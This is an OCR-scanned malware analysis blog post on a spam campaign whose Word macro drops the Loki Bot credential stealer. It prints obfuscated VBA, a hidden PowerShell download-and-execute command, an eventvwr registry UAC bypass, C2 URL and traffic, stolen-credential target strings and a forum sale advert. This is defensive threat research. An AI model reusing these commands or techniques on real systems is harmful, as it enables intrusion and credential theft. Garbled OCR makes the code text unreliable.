Nefarious Macro Malware drops “Loki Bot” to steal
sensitive information across GCC countries!

cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/

5 years ago

Macro malware are still playing its atrocious activities in the wild, frightening all the sectors
around the globe. Latest Spam campaign which flew around GCC countries created a “scary
rain” across multiple entities.

This spam mail was not targeted only for a particular entity, but extensively across multiple
firms in Middle east, anticipating huge number of victims. On the other hand, the recipients in
these mails (BCC) were clearly social engineered.

NB:

The malware and associated files were analyzed within private secured environment,
without actually allowing it to communicate to its command and control

While analyzing, we may come across with unhygienic words or phrases. Keep in mind
that, malware are built by “Bad Boys”.

Let’s Get Serious:

The spam mail which landed on one of the victim’s Mailbox looks like this:

From: nfoBtrtech.co

Te: Recipents

Cc

Subject MNew Order, CAD details and complain

| Message | [ N doc (11 KE)
Dear Sir,
Kindly find attached our order for this month. We have some complains with our last order, attend to it and revert back soon

Thank You
Cheng / For W. Barakat

The sender Address could be spoofed, which is the contact email ID of the Cambodia based
Business software provider firm “tztechnology”. The reputation of the sender IP address is
poor:
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Details

IP Address 199.201.110.44
Fwd/Rev DNS Match @ Yes

Email Reputation &
Web Reputation i

Last Month
Spam Level @& Medium
Email Volume @& 3.6

The attachment was a document file and once it is opened, the prompt for enabling the
macro starts blinking:

Still end users are falling for these.. sad truth!!
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The word document properties shows, revamped or created date as “Jan 191" 2017”
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|G‘vamal|5m|0.mam[ Details ]mem‘hﬁammﬂ

Property Value

Description
Title
Subject
Tags
Categories
Comments

Origin
Authors User
Last saved by Windows User
Revision number 4
Version number
Program name Microsoft Office Word
Compary
Manager
Content created 171972017 405 PM

Jumping into the Document Macro, starts with “Document_Open()”, meaning , the code will
be right away executed whenever the document is opened.

|Ilou1ment j |Dpen

o Public Sub Document Cpen()

Dim drnwnnpxo As Double

Dim bulkinnocent As Long
drnwmnpxa = 979

bulkinnocent = 298
'eiajwkmhnbwmttrasvmo

If drnwnnpxo <> bulkinnocent Then
Dim dangerflag As Integer
dangerflag = 800

Dim positionvisual As String
pasitionvisual = "loojipdur™
'chucklesubject

End If

The VBscript contains lot of junk and unwanted parameters, which would make static
analysis to choke. Also parameters inside the code seems to be encoded heavily. So at this
point a mixture of static analysis and debugging needs to be done.

When we statically analyze, we can see two modules of codes present in document. Both of
the module works together to build a command script and then to run this script via windows
script object.
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-

& (I - ThisDocument (Code) | ¢4 ¢ - Modulel (Code)
IDDC'-'mE'“ ItGeneral]
o o S e L Function gfsdhwawcbenlte (whirdrumawmwul, ezwrelgtrpuwlj)
Dim drnwnnpxo Rs Double Dim wijkkcthgbnekabi As Integer
Dim bulkinnocent As Long wikkcthgbnekabi = 560
drownnpxo = 979 ' lwdzvmmrjdncn
bulkinnocent = 258 Dim sgmismuptvuwy As String

Further debugging and static analysis, found that one of the variable “Catcustom” stores
command script which was built by the macro on the fly.

=

ihgniave "crouchwal’

pmwhamygipl

BVOCAGHOgAn B

The generated code looks like this (after enumeration of temp folder):

The below snippet of code reference is the “bridge of relationship” between two modules of
scripts. The earlier mentioned variable “Catcustom” which contained the commands where
used as a parameter of another function, which is then referenced to the second module
“‘Module1”. The referenced Function parameters “gfsdhwawcbenlte()”’now contains the
value of “catcustom” variable and “0” .
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| C- - ThisDocument (Code)

| Document

If jaguarthank <> otdixyxhuodwg Then

Dim mathtool A= Integer

mathtool = 339

'fpgregwalnndi

Dim cdddzegrkwwsahbk As 5tring

cdddzegrkwwsahbk = "futureslice"

'ntwmjwlyp

End If

shufflectypical = Modulel .gfsdhwawcbenlte (catcustom, 0)

44 CAD4839202 - Modulel (Code)
[(General) v| |ofsdn

Function gfsdhwawcbenlte (wvhjrdrumawmmul, ezwrelgtrpuwlj)

Dim wijkkcthgbnekabi As Integer

Furthermore coming down to the script at second module“Module1”, we can see malicious
script was invoked by calling the windows script shell object:

(IGenera) =] [otsamvamoenie
dphunid 805
Ii:
Din & veil As String
JOULCETDT "owglnzmkrlbesup”

flathazard (0) = "new:{72024005-070R-434"

flathazard(l) = "B-2A42-S0474BEER"

flathazard(2) = "FBR}"

BC| gfadwewcbenlte = GetObject (Join(flatbazard, ™)) .Run(whjrdrumasnl, ezwrelgtzpuwlj)

End Fumetion

wRl

I:-:als

I»mqumm

Eresn [ vie i
!l

Moduiet
r "o vz b pwershed ewe -w hidden -n0g -8 bypass (New-Dbject SystemMet WebClent) DowninadFie i [NY <omV N v’ SSTENPSH guatyd vz’ & reg add HCUISa fwereCipssesims: elsheMopeniicnmmand id Vi

whjdrumawmaul
eraregimuwi Vi |

Now the question is how we understood from this code above, that it invoked windows
script shell (with hidden window) to run the malicious code which earlier generated.
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If we closely look the above snippet of code,

flathazard{0) = “new:{72C24D0D5-DF0A-438"
flathazard(1) = "B-28A42-92424B28A"
flothazrard({2) = “FB&}"

gfsdhwawchenlte = GetObject{loin{flathazard, ""]). Run{whjrdrumawmwul, ezwrelgtrpuwilj),

The function is getting the “new object” by joining flathazard(0), flathazard(1) and
flathazard(2) to get :

new:{72C24DD5-D70A-438 B-8A42-98424B88A FB8}, Now if we go to the registry
“HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} “, this
ID refers to the windows script shell object.

Meaning, the function is calling a new windows script shell object instance to run the
malicious commands in “whjrdrumawmwul”.

File Edit View Favorites Help

{T2070BEB-81F8-46D4-B220-DT43FAE49CO5] = || Name Type Data

{12A7994A-3092-404- BGBE-0BFFBLAEEFFCH 1) g ey ) REG_S7 Windows Script Host Shell Object
{728082C6-97D5-1103-8BEC-00C04F68DDC2]

{72b3670-8700-42d6-27F7-9ab333eeS1)

(728624 DF-AF11-4048-AG5C-351 EB0829410}
{12893658-FCT0-4CDA-918B-18A2CREAALFS)
{72C2AD05-D70A-4386-8A42-084 24 B3BAFES}
TI2C 03002k 3e0T - DIC-carl 10T I5Te)

L L T P L AR T L R

We can also see “whjrdrumawmwul” contains the value of generated script. The
“ezwrelgtrpuwlj” contains the value “0”.

That said, Let’s see the syntax for .Run command in VB:
Objshell.Run (strCommand, [intWindoStyle], [bWaitOnReturn])

“Objshell”, We already found how shell object was invoked and we saw “strCommand”
value in variable “whjrdrumawmwul”. Now “ezwrelgtrpuwlj” holds the value “0” which
means the “hide window”. The “bWaitOnReturn” if left blank immediately returns to script
execution.

Hence we found that the below code was executed by invoking windows script shell object
and being executed in hidden window:
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We can also see that the PowerShell is invoked in hidden mode, bypassing execution policy
to download a malicious executable from a remote host, which is then renamed to
“puttyx86”. The addition of this temp path of malicious executable to the above registry and

then invoking the “eventvwr.exe” is a technique to bypass the UAC feature inorder to acquire

highest integrity for executing the malware.

The above fileless technique of bypassing UAC has already been explained in my post of a
real-life scenario::

https://www.linkedin.com/pulse/newborn-macro-malware-generates-powershell-script-
winston?trk=pulse_spock-articles

Real-life usage of the technique and similar code generated by Macro is drafted in below
article:

https://cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/

And the mechanism of UAC bypass technique drafted in the blog:

https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-
hijacking/

Let’s find whether the above findings are true by doing a dynamic
analysis:

As we discussed earlier the windows script shell object is invoked via registry with Class ID

FID Operabion Pah R Dt
E 1768 ﬁFeng.-Ke.' HKCRACLSIDN F2C240D5-0MA 5342483 SUCCESS Query: Name
EXE 1763 @0 ReglueryVae HKCRICLSIONT T SUCCESS Tvpe: REG 52 Le...
E 178 @ Reghueriey  HKCRCLSID . SUCCESS Quety: Name
76t @ RegluenyVehe HKCRCLSIDNTAC24005 D70 SUCCESS Type: REG 52 Le...
3465 11\'.'1.‘.1'.'3’:[} EXE 1768 ‘EFE;&H;:"’E, HKCRACLSIONTAC24D 05D A4 388 SUCCESS Cuery: Name

Next the “cmd.exe” has the entire script running under it.
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Imsge | performance | Performance Graph | 6PU Gragh | Threads | e/ | secusity | Environment [ Job | stings

Image Fie

u’ Windows Command Processor

Mirosaft Comporation

Verson:  6,1.7600, 16385

Suld Time: Tue Jul 14 03:22:06 2009
Path:

C:Yi¥indows'System32\omd, exe
Command line:

“Ce|Windows Systen32\omd.axe" Jc powershel, 2z - hiddzn -nop -2p bypass (New-Onjazt System Net. WebChent) DowrlaacFie (http: i ] e, - Lisers | INGTO L MAR: ppData Local Temalpu
Current directory: |

As it step by step runs the commands in cmd.exe,

PowerShell is invoked with the script to download the malware from remote host and save to
temp folder as “puttyx86.exe”

- - - > - =
EY powershell.exe-3076 Properties
[ tmage | performance | Performance Graph | GPU Graph | Threads | ICP{IP | Security | Envinment | Job | .NET Assembies | MET Pesformance. | Stings |
[mage File
E ‘Windows PowerShel
Microsoft Corporation

Verson:  4.1.7600. 16335

Build Time: Tue Jul 1403:32:35 2009

Path:
C:Yiindows\System32\WindowsPower Shel L. 0\powershell exe

Command line:

powershellexe - hidden -nap -ep bypass (New-Object System. Net. WebClent) DownloadFie hitp: [N v, C: Lisers\WINSTO~ 1. MAR AppDataLocal Terp | jputtyx5 axe’)
Current drectary:

Glitch while Acquiring Highest Integrity via Eventvwr.exe

In our sample, there happened a small glitch while script was trying to write the malware path
to “HKCU\\Software\\Classes\\mscfile\\shell\\open\\command” registry to be executed via
eventvwr.exe. It may be due to extra slashes, because when | tweaked commands from “\\”
to “\” the Registry write was successful.

Due to the glitch, original eventvwr.msc popped up instead of malware when the macro was
executed, quiet unlucky.

If you see in the below picture the “mmc.exe” initiated the eventvwr.msc normally.
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= [iw WINWORD.EXE 1 14272 K 1344 Microsoft Office Word Microsoft Corporation
=) fggl omd exe 6724 K 600 Windows Command Processor Microsoft Corporation
=7 PING EXE T2 K 2020 TCPAP Ping Command Microsoft Corporation
11,632 K 360 Sysntemals Process Explorer  Sysintemals - www sysinter...
1124 K 3852
W | mmeexe _ 28 4BD K 2568

{2] Event Viewer

File Action View Help
«= [\
§2] Event Viewer (Local)
1- Ct:lstum\l'iews Event Vi (Local)
» L Windows Logs -
= Open Saved Log...

. [ Applicaticns and Services Lo
;4 Subscriptions ¥ Create Custom View..,

However, even though the script couldn’t invoke malware via “eventvwr” technique, after a
15 PING-sleep (Using Ping command 15 times redirecting to nul), the malware at temp
folder was directly invoked. Which made the malware to run with medium integrity.

Once the “puttyx86.exe” is executed normally, it spawns a child of its own and kills the
parent process. Also managed to delete the executable from the path.

(] puttysbb.ere 00 132V winstor| REM Bill The Goat Medium

" T — = -
Deleted (2/15/2017 5:41:17 PM): C\Program Data“\DirectoryMonitorwinston marydasan\Monitoring Everts sqgltejoumal
ity o - WP il =Linnstnn sqlite

[ Deleted (2/15/2017 5:41:19 PM): C\Users‘winston marydasan®App Data'\Local\ Tempiputtyx 86 exe

1_-_ | AN 1,20 D i =D = R =S VAL TILOT Ol Al YO asal | WV 0 JEV mBjDUTI'Iﬂ]
Deleted /20 -41-20 PMI: C.\ProgramData ' DirectordMonitorwinston marvdasan \Monitoring Events salite-doumsz

Then if we see the handles for the child process, it acquired full access for each thread. The
Malware must have its own elevation feature.
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Type: Th

puttyx86.exe (2120): 3620

puttyx86.exe (2120): 3620

General | Security

Basic Information

Mame: puttyx86.exe (2120): 3620

read

Object Address: [x856bc3cl

Handle Properties

Granted Access: 1 (Full control)

The dropped malware seems to be protected by the infamous “ASprotect” executable
protection, header of the file also throws the acknowledgment with bogus section names.

File :  puttyx86.exe
Entry Point : | D000 1000

File Offset: 00000400
Linker Info : | 2,25

File Size : 000B2040h

oo| | =

EP Section :

First Bytes :

SubSystem :

| Overlay :

=8.01.00.00.00
Windows GUI

00012640

Image is 32bit executable RES/OVL: 75/ 10 % 1992
ASprotect ver 2.1/ 2.~ ( www.aspack.com ) - ! Correct version detec
e —— T 2 § o g I
Section Viewer
Name | V. Offset | V. Size | R. Offset | R. Size - Flags
0007A000 00002000 00030000  QOOOQOQOO0 EQOO0040
0007C000 00003000 Q0030000  Q0OO02400 EQOOQ0040
0007F000 00001000 00032400  QO0OOOQ0O0 EQO0Q0040
00030000 00001000 00032400 Q0000200 EOOQ0040
00081000 00003000 00032600 00000000 EQQ00040
JSIC 0003A000 OOQ37000 00032600 0Q0022E00 EQQ00040
HOKKES 00111000 00048000 00055400  00042A500 EQOQ0040
.adata 0015C000 00001000 000SFADO  QO0OOQ0000 EQO0Q0040

After a tug of war between the malware using static code analysis and debugging, found that
the piece of malware was piece of infamous “Loki Bot”.
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“Loki Bot is resident loader and password and cryptocoin-wallet stealer. It comes with
wallet checker (coin inspector, read below). It can steal passwords from browsers,
fto/ssh, e-mail and poker clients. Written in C++. Works on Windows XP, Vista, 7, 8,
8.1. and Linux. UAC Bypass”

Below shown pictures are snips from the actual interface of main Loki Bot and

N T IR T
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Statislice

The dropped Malware had most of the Anti-analysis capabilities like VMawareness,
Debugger detection, System time check and more. Carefully tweaking these will make
malware into running as if in a physical machine.

If we try to see the strings of malware without unpacking from the ASProtect protection
mechanism, we will not get any “sweet fruit”. But after debugging and disassembling, we will
get good amount of data about of the malware which is obviously fruitful.

That said, | was able to retrieve and filter very useful data about the malware which gives
enough evidence about the above said malware.

The capability of this malware is enormous and even have capability of receiving the Bot
commands from “BOT Boss”.

The malware have capabilities for luring all the FTP flavored credentials, SMTP, Browser
data, DBs information, have inbuilt Key logger features and much more. The portions of
retrieved strings are below:
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s\ Fastream NETFileMy FTP Links Passwed
XS\_NENUSFi1E\u5&l’data{ftp5ite. ind FOPIServer

s NexusFilewFtpsite. inid FOPIPOrT

s INSoftware' NovaFTP W MowvaFTP. db Email

s Notepad++hpl ug'ins\cunf'ig\Np'E_FTP\NppFTP. xm SMTPE Email aAddress
%shodin Secure FTP Expert’gFDefault.qQFQ SMTE Serwer

%s0odin Secure FTP Expert’SiteInfo.qfFpP SMTP User MName
PublickKeyFile SMTP User

Terminal Type POP3 Serwer
PortHumber POP3 uUser MName
software’9bis. comKiTTY " Sessions POP3 Usear

software’ simonTacham PuTTy " Sessions MMTFPF Email address
_dec MNTP User MName

%5 _dec MNTPE Serwer
Tsasrv.dll IMAP Serwer

1zass. exe IMAP User Mame

lck IMAP User
Hs\MicrosofthCredentials HTTP User

config Path HTTP Serwer URL
softwar e’ vanDyke'\ Secur eFx HTTPMail uUuser Name
%S Sessions HTTPMail Serwver
g POP3 POrt

s sFrpNetDrive SMTF POrtc

“".C‘Fﬁ IMAFR FOrtc

%shSherrod Computers’sherrod FTP " favorites FOFI Password2
#document . favoriteManager ™ IMAF Password?

%S SmartFTPE NNTP Password2
{=.xml HTTPMail FPassword?
%s\staff-FrPhsites. ind SMTP Password2

%s ' steed'\ bookmarks. Txt POFP3 FPassword

%5, SUper PUTTY IMAP Password
sessions® MMNTP Password
sfrp:// HTTFP Password
frp:// SMTP Password

shEshUser DataDefault'web Data
s¥s'\Login Data
s¥sDefaulthiLogin Data

omodo’, Dragon
aplestudiotChromerlus
oo0q1e’\Chrome

Fom um
itan Browser

ustang Browser
3IG60Browser  Browser
atalinaGroup’Citrio
oogle\Chrome sxs

WFenrir Incwsleipniriserting ' modules’chromiumyiewer

WFenrir Inc\sleipnirsisetting'modules’ Chromiumviewer

vaultcli.dll

t??ft??;E\Micrnﬁﬂft\IﬁterHet exploreriIntelliForms'storage2
a:

;0ftware\m1crosuft\:n:ernet Explorer TypedUurLs

In addition to that, malware gets the details about the current user, Machine name, FQDN,
MachineGuid and so on

A hardcoded URL was very promising though, suspecting the above collected details and
this URL must have some connection.
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etaddrinfo

reeaddrinfo
ws2_32.d11
GetLastError
SetLastError
Heapalloc
HeapFree
GetProcessHeap
KERNEL32.d11
CoInitialize
Couninitialize
CoCreateInstance
ole32.dl11
OLEAUT32.d11
http://lacor.co/oga/fre. php

If we see the network traffic generated by the malware, we can see a promising “Post” traffic
to the above found hardcoded URL.:

All the communication and analysis were done completely isolated environment without
actually allowing malware to communicate actual CNC servers and DNS.

(] HET AME =, = * T o W, = Sl - - i k= A “Ta b= =150 Wi

122 74.287426 192.168.194.172 192.168.194.128 HTTP POST /oga/fre.php I-I'I"'I'Pfl.ﬁ

g 2 L= -1 L2 3 e L. = - B g v -y 2 =1 a1 H]_

124 74.287638 192.168.194.128  192.168.194.172 TCP [TcP segment of a raasurrblad POU])
125 74.287840 192.168.194.172 192.168.194,.128 TCP 49170 = 80 [FIN, ACK] Seq=2647 Ack
i Follow TCP Stream - B

Stream Contant

" Fre| PosT Joga/fre.php HITP/1.0 ‘CEE—

User-Agent: Mozillas4.08 (Charon; Inferno) _
Host: lacor.co J—

Accept: /%
Content-Typea: apphcatlonmctet-stream
Content-Encoding: binary
Content-Key: SS0A9EL4
Po010

Content-Length: 2413 I |
Framd | Connection: cluse/

eth||..'.......ckav.ru..... LWLILNG S . .n
B e K. ...-'D B?EICECCQBOEEEESODDBEI
i R LHboz. & H. -ﬂ"II‘I‘Il version. —"1 00.|.c?d. g.UTF- "8"7=
.*::anIP.de'FauLtC czh.EFs ONFIGSDZRU\ . . .USE.N: AM. {@HO*T...outp...h6w..... d.Ralt.!.a5
$cle.rlwWo...P.=m.n.Qt... .. <Profi.FsT/..k.2.....

Sl LBy F2,330,528,055.Co )

The malware after acquiring enough details such as Username, Machinename, FQDN, and
lots of stolen data from the victim machine would then try communicate with the command
and control server as we can see in the above stream of packet.

The user agent “Mozilla/4.08 (Charon; Inferno)” used has been infamous as it was used in
other Fareit Trojan or PonyLoader. At this point the Loki exhibits similar kind of behavior
though.
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The host name seems to be parked at “185.29.10.252” which is a Latvia based IP which is

malicious.
& Geolocation & WHOS
+ M Sateline L
» | S 3 g TONS 252 10,29,185 In-addr arpa
- Estonia Hanrag
Sl Eemag Faml L] BGP Prefix 185,25 10.024
] cC SE
=]
i ASM BOSET
i "' . ASN Mame MIA
Mimainds @ Latvia
Org. Mame DataCiub 5 A
A ——) e,
_/J 5 Rigister dataciub. biz
iy b 2

The relation between the IP address, host with hash can be seen below:

185.29.10.252

E13400F6BD8491 EEiéB‘I 6A0861FF6283

SMARTMEN.BC@GMAIL.COM

97.74.215.37

Emerging threats have already written rule comprising the malicious user agent:

http://doc.emergingthreats.net/bin/view/Main/2021641

Let’'s move the spot light to the string “ckav.ru” in the stream above shown. From initial
glance, we can suspect it might be Russian based malicious website. Even though the
domain exists privately, could not find any clear context with the sample we are analyzing.
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http://doc.emergingthreats.net/bin/view/Main/2021641

Stream Contant

POST foga/fre.php HTTP/1.0
User-Agent: Mozillay4.08 (Charon; In

Host: lacor.co 4—

Accept: =/*
Content-Type: applicationfoctet-stre

Content-Encoding: binary
Content-Key: G690ASEl4

Content-Length: 2413
Connection: cC l?

ce'eeneneackaveru.. ... [, . . W

Anticipating if | can get any clue from the unpacked sample strings, | was able to find the
missing characters and confirmed it was the URL of a Russian underground forum:

Port

UserName

Password

MAC=2E2X X2 X0 2XINSTALL=208XE08 Xk
Fmckav.ru

When we do a blind search with this URL and suspecting Loki Bot, we will get very promising

result:
okl hot fmckaw, ma L
Adl Videon Images Marers Paps Mo Higugm T i
Sbaant 4 30 ra It } HE i
Loki Bot - Pasaword & Coin Wallet Stealer - FRckANW (PakAB)
hithps Gfuckane. mu » KosasepuwEna « KynneeTipoaas « blakwvare - Transiate this page
Blay 18 F0qE 13 posts ? masihors
Laski Ehort Pansmword & Coln YWallet Steaber Mabyars
[SRLC] - Hydra bot [(Prof of concapt) vemion 1.0 2 Public S promin 20 Mar 2016
BAarourny bot 0 posts 10 Sop 2015
Blaria radiaslta Bram fuckay i
FeckaAN (PanAabB) - TemMol © METHOR wallet
hftps dfwoseee TucKay ru > MeTen = Translate this page
FuckfiW ro (DarsSB) - aevyaimeden, cirnsns, Tud spaiiTogse o esisepi Bacmma v e Laskii Fiest
Panpword & Coln Wallst Staemlar B mrae 124272 1712

This Bot is being sold in a Russia underground Forum. If we see into this website, there

are lot other tools which one can register and join the group. After successfully registering we

should connect with an already registered account with Jabber and then have to link. Once
this is completed anyone can download or share any tools or techniques

Really Scary!!
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4+ [ 1 H Bkavru

S0 HOBLIM LOAOMI

kA7

LFCIna T Hbsil AHOHBHHBR CRAHRPR AHTERRRYOoR | K A WPH S s

- PPTP (pen¥PHj oubile VPN
Pescnamis s gopysn | Mosouse Sopysy | AR Snor

Haw Jabber-cepeep pacnonoxedn no agpecy feckav.in. Qobpo noxanoBarTe!!!

FilckAV (MarAB) s I:Iﬁ- mm«qr

AoBpD NOXCARCIATE 16 FOCKAY - SX0pyM O KpanTopax.

Bt 370 B MEnay BeiseiT o s per i TaT o O sy i eofyriy. s Do Seeiiereti (B0 COOLLErsan meoeln s T8 [ESs T R Teod, Ave
PR T Do DU ST Dala e

] Metnesmm cooim e
1 jsseipesi 14.632 1 & [14.02, 71:31] GR Crypher by i4bs 5,068 % i [ -
e J 14.03 0 D [14.52, 21:19] Mgsssat Gppr s1alz sl KRS
3 ciorrein 14.02 0 2 [14.52, 19:57] Nasom 380 S, KansEs
b LA [ [14.07, 1:31] Krypton_7. § - scmamecs kpanTops s Ce+... 11362137 guan i C, T4+
= e U 2 (14,02, 17115] B vl s o sndrosd 2,603 R Plisiihiii
FROMANADRE o & [14.02, 18:55] AeqmPanrmes 348,456 411 —— Narmna

. run AT 671 I [14.02, 18: 10] PID 1 mosep nopTe 2min Pascal, Db

Some more deep search gives more result about the Bot. Even advertisement about the

same. The features described in this Russian forum matches with our finding earlier:
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| Loki Bot - Password & Coin Wallet Stealer
Loki Bot - Resident Loader and Password & Coin Wallet Stealer

Loki Bt Is resident loader and password and crypbocoin-wallet stealer. [t comes
with wallet checker (coin inspector, read below). It can steal passwords from
browesers, Rip'ssh, e-mal and pokoer dients. Wiitten in C++. Works on Windows XP,
Vista, 7, 8, 8.1, and Linux, Bis 5 70k,

Loader leatures:

= Startup (residest loader)

- Dewmilpad & Run (exe | dIl)

« Dowmiload & Drop

- Update bot

= Unirestall bot

« Gt password from Bob per request

- Geotargetting, laad to selected country

Supported Browsers:
- Internet Explorer

- Mogilla Firefox

- Google Chrome

- K-Meleon

- Comeda Dragon

= Comada [ceDragon
- SeaMonksy

- Opera

- Safari

= CoolNeve

- Rambler Nichrome
- RodidMelt

- Baidu Spark

- Chiomium

= Tian Browser

- Torch Browser

- Yandex Browser

- Epic Privacy Browser
= Shespniir Browser

« Vivald

- Ciogwon Browser

- Superbind Browser
- Chromado Browser
= Murstan Browser

= 360 Browser

- Cyberfox

- Palle Moon

Supported FTP/VNC clients:
- Total Commander

T FIPBOX

- FtplInfo

- Lines FTP

- FullSync

Nexus File

- JaSFip

- FTP Now

- Xftp

- Easy FTP

- GoFTP

- NETFile

- Blaze Ftp

= Staff-FTP

- DeluxeFTP

- ALFTP

- FTPGetter

- W5_FTP

- AbleFTp

- Automize

- RealvNC
TightViNC

- Syncovery

- mSecure Wallet

- SmartFTP

- FrashFTP
Bitkinax

- UltraFxP

- FTP Rush

- Vandyk SecureFX
- OdinSecure FTP Expert
Fling

- ClassicFTP
Maxthon browser
- Kitty{login+private key)
- WinSCp

Supported E-mail clients:

- Qutiook (2003-2013)
- Mazilla Thunderbird
- Foxmail

- Pocomail

- Incredimail

- Gmail Notifier Pro

- SNetz Mailer

- Checkmail

- Opera Mail

- FossaMail

- MailSpeaker

- yMail

Even the features, payment details and contact details are published with it!
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Features:
Get, process wallet from Panel or from Directory
Ratrieve balance
- Check if locked or not {if locked, then can start brute (pre defined list and
genarated list (from report)))
- Chedk transactions (yes/no)
Update blocks
Backup/Update/Delete processed wallet
- Priority (Panal)
- Bruteforce locked wallet, from list, or from user’'s pass list

Prices:
Baszad on Stealer; 3005

- Wallet module: 150% (+20% Coin Inspector)
- Loader module: 200%

Basaed on Loader: 200%
- Wallet module: 150% (+20% Coin Inspector)

- Stealer module: 300%

Domain/IP change: 25%

Updates are free. Prices include support.
Paymeant methods:

WHZ
BTC +5%G

Contact:

Jabber: [ -1l or i

With an embarrassed mind let me conclude..

Are we in a digitally connected world? If the answer is yes, then Obviously Malware is the
biggest nightmare for all the entities, irrespective of its geographical location or nature of
business. In this Era of Cyber War, Phishing e-mails with targeted macro malware are
exponentially circulated by the Offenders across the Globe. Of course, the easiest weakness
spotted by offenders is “Human Weakness”. Anyways offenders will stay fingers crossed,
whether the end user “allows” himself to respond these malicious attachments or simply
“drops” the plan.

As a cautionary note, as we saw in this article, hack advises, hire a hacker, malware, hack
tools and anything is now easily available everywhere in the Internet and abundant in the
deepest corners of the web. This is very scary right? , so a rigid security posture should be
maintained by all the entities to defend these types of threats.

We should be in a position to tell boldly,

| “If the Offenders are finding new techniques and tactics, so are we”!!!

Funny Note

The malware author of the above malware must be a fan of cartoon characters from the
below file properties comments:
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Version info - File Type : Unknown

File Version Info Size=1548 -= 050Ch
Transiations : 04050400  Language : English (U.5.)

CompanyMame = Old McDonald's Farm
FileDescription = Billy The Goat

Comments = Billy the goat ate all the autorun.inf files.. because Old MdDonald was sick of all the viruses and worms on

Comments = “Billy the goat ate all the autorun.inf files...because Old McDonald
was sick of all the viruses and worms on his farm”

Billy the Goat, whao is always hungry ;)

References

https://blog.sensecy.com/tag/loki-bot/

https://hackforums.net/showthread.php?tid=5456831

https://www.scmagazine.com/floki-bot—a-zeus-wannabe-with-delusions-of-
grandeur/article/569329/

https://digital-forensics.sans.org/blog/2009/11/23/extracting-vb-macros-from-malicious-
documents/

20/20


https://hackforums.net/showthread.php?tid=5456831
https://www.scmagazine.com/floki-bot--a-zeus-wannabe-with-delusions-of-grandeur/article/569329/
https://digital-forensics.sans.org/blog/2009/11/23/extracting-vb-macros-from-malicious-documents/

